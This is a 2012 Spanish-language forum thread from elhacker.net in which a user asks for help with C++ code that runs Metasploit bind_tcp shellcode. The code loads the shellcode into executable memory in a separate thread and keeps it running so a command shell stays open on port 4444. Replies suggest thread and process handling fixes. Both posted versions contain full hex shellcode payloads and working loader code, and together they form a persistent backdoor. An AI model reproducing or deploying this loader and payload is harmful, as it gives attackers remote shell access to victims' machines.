elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Problemas con un shellcode y CreateThread.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problemas con un shellcode y CreateThread.  (Leído 3,630 veces)
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Problemas con un shellcode y CreateThread.
« en: 7 Agosto 2012, 06:08 am »

Hola! Como va? Bueno, estoy teniendo problemas con lo siguiente, necesito que mi programa spawnee una shell en el puerto 4444.
Para esto, utilicé el payload bind_tcp en el puerto 4444, con el parámetro exit mode en "Thread" para que cierre el thread una vez que se termina.

Este es el código que utilicé:
Código
  1. #include <process.h>
  2. #include <iostream>
  3. void SpawnShell(void *dummy);
  4. using namespace std;
  5. char szShellPayload[] = "\xdd\xc2\xba\x9f\xde\x8a\x09\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x56\x31\x50\x18\x03\x50\x18\x83\xe8\x63\x3c\x7f\xf5\x73\x48\x80\x06\x83\x2b\x08\xe3\xb2\x79\x6e\x67\xe6\x4d\xe4\x25\x0a\x25\xa8\xdd\x99\x4b\x65\xd1\x2a\xe1\x53\xdc\xab\xc7\x5b\xb2\x6f\x49\x20\xc9\xa3\xa9\x19\x02\xb6\xa8\x5e\x7f\x38\xf8\x37\x0b\xea\xed\x3c\x49\x36\x0f\x93\xc5\x06\x77\x96\x1a\xf2\xcd\x99\x4a\xaa\x5a\xd1\x72\xc1\x05\xc2\x83\x06\x56\x3e\xcd\x23\xad\xb4\xcc\xe5\xff\x35\xff\xc9\xac\x0b\xcf\xc4\xad\x4c\xe8\x36\xd8\xa6\x0a\xcb\xdb\x7c\x70\x17\x69\x61\xd2\xdc\xc9\x41\xe2\x31\x8f\x02\xe8\xfe\xdb\x4d\xed\x01\x0f\xe6\x09\x8a\xae\x29\x98\xc8\x94\xed\xc0\x8b\xb5\xb4\xac\x7a\xc9\xa7\x09\x23\x6f\xa3\xb8\x30\x09\xee\xd4\xf5\x24\x11\x25\x91\x3f\x62\x17\x3e\x94\xec\x1b\xb7\x32\xea\x5c\xe2\x83\x64\xa3\x0c\xf4\xad\x60\x58\xa4\xc5\x41\xe0\x2f\x16\x6d\x35\xff\x46\xc1\xe5\x40\x37\xa1\x55\x29\x5d\x2e\x8a\x49\x5e\xe4\xbd\x4d\x90\xdc\xee\x39\xd1\xe2\x01\xe6\x5c\x04\x4b\x06\x09\x9e\xe3\xe4\x6e\x17\x94\x17\x45\x0b\x0d\x80\xd1\x45\x89\xaf\xe1\x43\xba\x1c\x49\x04\x48\x4f\x4e\x35\x4f\x5a\xe6\x3c\x68\x0d\x7c\x51\x3b\xaf\x81\x78\xab\x4c\x13\xe7\x2b\x1a\x08\xb0\x7c\x4b\xfe\xc9\xe8\x61\x59\x60\x0e\x78\x3f\x4b\x8a\xa7\xfc\x52\x13\x25\xb8\x70\x03\xf3\x41\x3d\x77\xab\x17\xeb\x21\x0d\xce\x5d\x9b\xc7\xbd\x37\x4b\x91\x8d\x87\x0d\x9e\xdb\x71\xf1\x2f\xb2\xc7\x0e\x9f\x52\xc0\x77\xfd\xc2\x2f\xa2\x45\xfc\xde\x7e\x50\x69\x79\xeb\x19\xf7\x7a\xc6\x5e\x0e\xf9\xe2\x1e\xf5\xe1\x87\x1b\xb1\xa5\x74\x56\xaa\x43\x7a\xc5\xcb\x41;\xbb\x6c\x09\x32\x41\xdb\xc9\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x56\x31\x5f\x13\x03\x5f\x13\x83\xc7\x68\xeb\xc7\xbd\x98\x62\x27\x3e\x58\x15\xa1\xdb\x69\x07\xd5\xa8\xdb\x97\x9d\xfd\xd7\x5c\xf3\x15\x6c\x10\xdc\x1a\xc5\x9f\x3a\x14\xd6\x11\x83\xfa\x14\x33\x7f\x01\x48\x93\xbe\xca\x9d\xd2\x87\x37\x6d\x86\x50\x33\xdf\x37\xd4\x01\xe3\x36\x3a\x0e\x5b\x41\x3f\xd1\x2f\xfb\x3e\x02\x9f\x70\x08\xba\x94\xdf\xa9\xbb\x79\x3c\x95\xf2\xf6\xf7\x6d\x05\xde\xc9\x8e\x37\x1e\x85\xb0\xf7\x93\xd7\xf5\x30\x4b\xa2\x0d\x43\xf6\xb5\xd5\x39\x2c\x33\xc8\x9a\xa7\xe3\x28\x1a\x64\x75\xba\x10\xc1\xf1\xe4\x34\xd4\xd6\x9e\x41\x5d\xd9\x70\xc0\x25\xfe\x54\x88\xfe\x9f\xcd\x74\x51\x9f\x0e\xd0\x0e\x05\x44\xf3\x5b\x3f\x07\x9c\xa8\x72\xb8\x5c\xa6\x05\xcb\x6e\x69\xbe\x43\xc3\xe2\x18\x93\x24\xd9\xdd\x0b\xdb\xe1\x1d\x05\x18\xb5\x4d\x3d\x89\xb5\x05\xbd\x36\x60\x89\xed\x98\xda\x6a\x5e\x59\x8a\x02\xb4\x56\xf5\x33\xb7\xbc\x80\x73\x79\xe4\xc1\x13\x78\x1a\xf4\xbf\xf5\xfc\x9c\x2f\x50\x56\x08\x92\x87\x6f\xaf\xed\xed\xc3\x78\x7a\xb9\x0d\xbe\x85\x3a\x18\xed\x2a\x92\xcb\x65\x21\x27\xed\x7a\x6c\x0f\x64\x43\xe7\xc5\x18\x06\x99\xda\x30\xf0\x3a\x48\xdf\x00\x34\x71\x48\x57\x11\x47\x81\x3d\x8f\xfe\x3b\x23\x52\x66\x03\xe7\x89\x5b\x8a\xe6\x5c\xe7\xa8\xf8\x98\xe8\xf4\xac\x74\xbf\xa2\x1a\x33\x69\x05\xf4\xed\xc6\xcf\x90\x68\x25\xd0\xe6\x74\x60\xa6\x06\xc4\xdd\xff\x39\xe9\x89\xf7\x42\x17\x2a\xf7\x99\x93\x00\xc2\xc3\xb9\x3c\x6b\x96\xff\x20\x8c\x4d\xc3\x5c\x0f\x67\xbc\x9a\x0f\x02\xb9\xe7\x97\xff\xb3\x78\x72\xff\x60\x78\x57";
  6. int main()
  7. {
  8.    _beginthread(SpawnShell, 0, 0);
  9.    system("pause");
  10.    return 0;
  11. }
  12.  
  13. void SpawnShell(void *dummy)
  14. {
  15.    void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  16.    memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2);
  17.    HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
  18.    do
  19.    {
  20.        Sleep(2000);
  21.        DWORD dwExit = 0;
  22.        cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl;
  23.        if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
  24.    }while(true);
  25. }
  26.  

El programa funciona bien, pero el problema es que cuando cierro la shell una vez que la usé, en vez de cerrar correctamente, se queda trabado el thread en vez de llamar a la función devuelta.
Esto me devuelve:
(la dirección de hThread)
1
0

Y no cambia cuando cierro la shell.

Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal?
Gracias!
APOKLIPTICO.

PD: El metasploit permite elegir otros métodos para terminar el shellcode, pero:
Process: Cierra el proceso, lo cual no quiero.
Seh (Structured Exception Handler): Salta un error en tiempo de ejecución.
None: Salta un error en tiempo de ejecución.


« Última modificación: 7 Agosto 2012, 16:38 pm por APOKLIPTICO » En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
fary


Desconectado Desconectado

Mensajes: 1.084



Ver Perfil WWW
Re: Problemas con un shellcode y CreateThread.
« Respuesta #1 en: 7 Agosto 2012, 16:41 pm »

Código
  1. int main()
  2. {
  3.    _beginthread(SpawnShell, 0, 0);
  4.    system("pause");
  5.    ExitProcess(0); // #include <windows.h>
  6. }

Haber si asi te sirve.

un saludo.


En línea

Un byte a la izquierda.
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: Problemas con un shellcode y CreateThread.
« Respuesta #2 en: 7 Agosto 2012, 16:56 pm »

Mmh, no, es lo mismo, de todas maneras eso lo que hace es simplemente cambiar el return 0 por una llamada a exitprocess, el problema está en la interacción entre el shellcode y el programa principal que lo mantiene abierto.
Quizás podría utilizar un SEH???
Ahh. Sería "a ver" no "haber".

Un saludo
APOKLIPTICO.
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
fary


Desconectado Desconectado

Mensajes: 1.084



Ver Perfil WWW
Re: Problemas con un shellcode y CreateThread.
« Respuesta #3 en: 7 Agosto 2012, 17:13 pm »

Pero tu shellcode se ejecuta en otro proceso, quiero entender entonces, no?

PD: ***** de ortografia jajajaa
En línea

Un byte a la izquierda.
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: Problemas con un shellcode y CreateThread.
« Respuesta #4 en: 7 Agosto 2012, 17:48 pm »

Nono, la shellcode se ejecuta en un thread aparte, de esta manera puedo seguir la ejecución del programa mientras está abierto el puerto. El problema es que no cierra el thread cuando se cierra la conexión.
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
fary


Desconectado Desconectado

Mensajes: 1.084



Ver Perfil WWW
Re: Problemas con un shellcode y CreateThread.
« Respuesta #5 en: 7 Agosto 2012, 17:50 pm »

Pues entonces ExitProcess si que te tendría que funcionar, porque se supone que acaba con todos los hilos de un proceso y con el proceso.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682658%28v=vs.85%29.aspx

O con TerminateThead para cerrar solo el hilo.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686717%28v=vs.85%29.aspx

« Última modificación: 7 Agosto 2012, 17:53 pm por mDrinky » En línea

Un byte a la izquierda.
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: Problemas con un shellcode y CreateThread.
« Respuesta #6 en: 7 Agosto 2012, 17:54 pm »

A ver, vos pusiste el exitprocess en la función main, tu código hace exáctamente lo mismo que mi código. El shellcode se supone que tiene una llamada a exitthread, de esta manera, cuando se cierra la conexión, se cierra el thread y el programa lo vuelve a iniciar. Necesito eso yo, y necesito que si yo después de llamar a la función SpawnShell quiero hacer otra cosa, esas cosas se ejecuten mientras la shell está abierta.
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
david_BS

Desconectado Desconectado

Mensajes: 99



Ver Perfil WWW
Re: Problemas con un shellcode y CreateThread.
« Respuesta #7 en: 7 Agosto 2012, 19:49 pm »

Código:
void SpawnShell(void *dummy)
{
    void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2);
    HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
    do
    {
        Sleep(2000);
        DWORD dwExit = 0;
        cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl;
        if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
    }while(true);
}



Nono, la shellcode se ejecuta en un thread aparte, de esta manera puedo seguir la ejecución del programa mientras está abierto el puerto. El problema es que no cierra el thread cuando se cierra la conexión.

cuando "cerrás la conexión" como vos decís, queda dentro del do-while pero nunca hace un return,
de esa forma no se estaría cerrando el Thread. necesitarías saber con un flag o de otra forma, cuando
"cerrás la conexión" y terminar el Thread, para volverlo a crear


esto parecería hacer lo que te digo, pero vos dijiste que nunca pasa por acá
Código:
if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);

Citar
....
Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal?
......

ya que eso es lo que entiendo que querés hacer..

Espero haberte ayudado, aunque no entiendo mucho el tema de la shellcode XD

es decir no se que código tenés realmente en esa shellcode, pero suponete que fuera esta función:

DWORD Thread(LPVOID args)
{
    return 0;
}

con eso debería retornar

ExitProcess no tendría sentido en este caso particular porque te cerraría el programa completo.
Aunque lo podés usar justamente al final de todo como te lo mostraron anteriormente.
« Última modificación: 7 Agosto 2012, 19:50 pm por david_BS » En línea

fary


Desconectado Desconectado

Mensajes: 1.084



Ver Perfil WWW
Re: Problemas con un shellcode y CreateThread.
« Respuesta #8 en: 7 Agosto 2012, 20:45 pm »

Si no te vuelve a escuchar en el puerto cuando la vuelves a llamar puede deberse a que no cierras el socket  :-\
En línea

Un byte a la izquierda.
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.871


Toys in the attic.


Ver Perfil
Re: Problemas con un shellcode y CreateThread.
« Respuesta #9 en: 8 Agosto 2012, 02:47 am »

Cambié el código, esta vez el payload utiliza un SEH (structured exception handler) para terminar, pero el problema es que cuando cierro la shell, crashea el programa.
Código
  1. #include <process.h>
  2. #include <iostream>
  3. using namespace std;
  4. void SpawnShell(void *dummy);
  5. char szPayload[] =
  6. "\xba\x10\x4c\x14\x4c\xda\xc7\xd9\x74\x24"
  7. "\xf4\x58\x31\xc9\xb1\x56\x31\x50\x13\x83"
  8. "\xc0\x04\x03\x50\x1f\xae\xe1\xb0\xf7\xa7"
  9. "\x0a\x49\x07\xd8\x83\xac\x36\xca\xf0\xa5"
  10. "\x6a\xda\x73\xeb\x86\x91\xd6\x18\x1d\xd7"
  11. "\xfe\x2f\x96\x52\xd9\x1e\x27\x53\xe5\xcd"
  12. "\xeb\xf5\x99\x0f\x3f\xd6\xa0\xdf\x32\x17"
  13. "\xe4\x02\xbc\x45\xbd\x49\x6e\x7a\xca\x0c"
  14. "\xb2\x7b\x1c\x1b\x8a\x03\x19\xdc\x7e\xbe"
  15. "\x20\x0d\x2e\xb5\x6b\xb5\x45\x91\x4b\xc4"
  16. "\x8a\xc1\xb0\x8f\xa7\x32\x42\x0e\x61\x0b"
  17. "\xab\x20\x4d\xc0\x92\x8c\x40\x18\xd2\x2b"
  18. "\xba\x6f\x28\x48\x47\x68\xeb\x32\x93\xfd"
  19. "\xee\x95\x50\xa5\xca\x24\xb5\x30\x98\x2b"
  20. "\x72\x36\xc6\x2f\x85\x9b\x7c\x4b\x0e\x1a"
  21. "\x53\xdd\x54\x39\x77\x85\x0f\x20\x2e\x63"
  22. "\xfe\x5d\x30\xcb\x5f\xf8\x3a\xfe\xb4\x7a"
  23. "\x61\x97\x79\xb1\x9a\x67\x15\xc2\xe9\x55"
  24. "\xba\x78\x66\xd6\x33\xa7\x71\x19\x6e\x1f"
  25. "\xed\xe4\x90\x60\x27\x23\xc4\x30\x5f\x82"
  26. "\x64\xdb\x9f\x2b\xb1\x4c\xf0\x83\x69\x2d"
  27. "\xa0\x63\xd9\xc5\xaa\x6b\x06\xf5\xd4\xa1"
  28. "\x31\x31\x1b\x91\x12\xd6\x5e\x25\x85\x7a"
  29. "\xd6\xc3\xcf\x92\xbe\x5c\x67\x51\xe5\x54"
  30. "\x10\xaa\xcf\xc8\x89\x3c\x47\x07\x0d\x42"
  31. "\x58\x0d\x3e\xef\xf0\xc6\xb4\xe3\xc4\xf7"
  32. "\xcb\x29\x6d\x71\xf4\xba\xe7\xef\xb7\x5b"
  33. "\xf7\x25\x2f\xff\x6a\xa2\xaf\x76\x97\x7d"
  34. "\xf8\xdf\x69\x74\x6c\xf2\xd0\x2e\x92\x0f"
  35. "\x84\x09\x16\xd4\x75\x97\x97\x99\xc2\xb3"
  36. "\x87\x67\xca\xff\xf3\x37\x9d\xa9\xad\xf1"
  37. "\x77\x18\x07\xa8\x24\xf2\xcf\x2d\x07\xc5"
  38. "\x89\x31\x42\xb3\x75\x83\x3b\x82\x8a\x2c"
  39. "\xac\x02\xf3\x50\x4c\xec\x2e\xd1\x72\x1c"
  40. "\xe2\xcc\xe3\x87\x97\xac\x69\x38\x42\xf2"
  41. "\x97\xbb\x66\x8b\x63\xa3\x03\x8e\x28\x63"
  42. "\xf8\xe2\x21\x06\xfe\x51\x41\x03";
  43. int main()
  44. {
  45.    _beginthread(SpawnShell, 0, 0);
  46.    while(true); //Para que no se termine el programa.
  47.    return 0;
  48. }
  49.  
  50. void SpawnShell(void *dummy)
  51. {
  52.    void *vPayload = VirtualAlloc(0, sizeof(szPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  53.    memcpy(vPayload, szPayload, sizeof(szPayload)-2);
  54.    do
  55.    {
  56.        cout << "Started" << endl;
  57.        try
  58.        {
  59.            ((void(*)())vPayload)();
  60.        }
  61.        catch(DWORD dwOut){cout << dwOut << endl;}
  62.    }while(true);
  63. }
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Denegar CreateThread, CreateremoteThread
Programación Visual Basic
XP. 1 1,698 Último mensaje 4 Diciembre 2006, 19:20 pm
por sch3m4
Hilos en vb6 sin CreateThread?
Programación Visual Basic
Zzombi 4 6,180 Último mensaje 2 Febrero 2010, 15:18 pm
por Zzombi
pasar argumentos por un CreateThread? « 1 2 »
Programación C/C++
while 11 9,935 Último mensaje 14 Octubre 2010, 23:41 pm
por Eternal Idol
Error creando Thread (CreateThread)
Programación C/C++
CeroX901 7 3,829 Último mensaje 18 Octubre 2011, 01:03 am
por CeroX901
CreateThread para Servevidor en C
Programación C/C++
AlbertoBSD 2 2,152 Último mensaje 22 Septiembre 2016, 16:22 pm
por AlbertoBSD
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines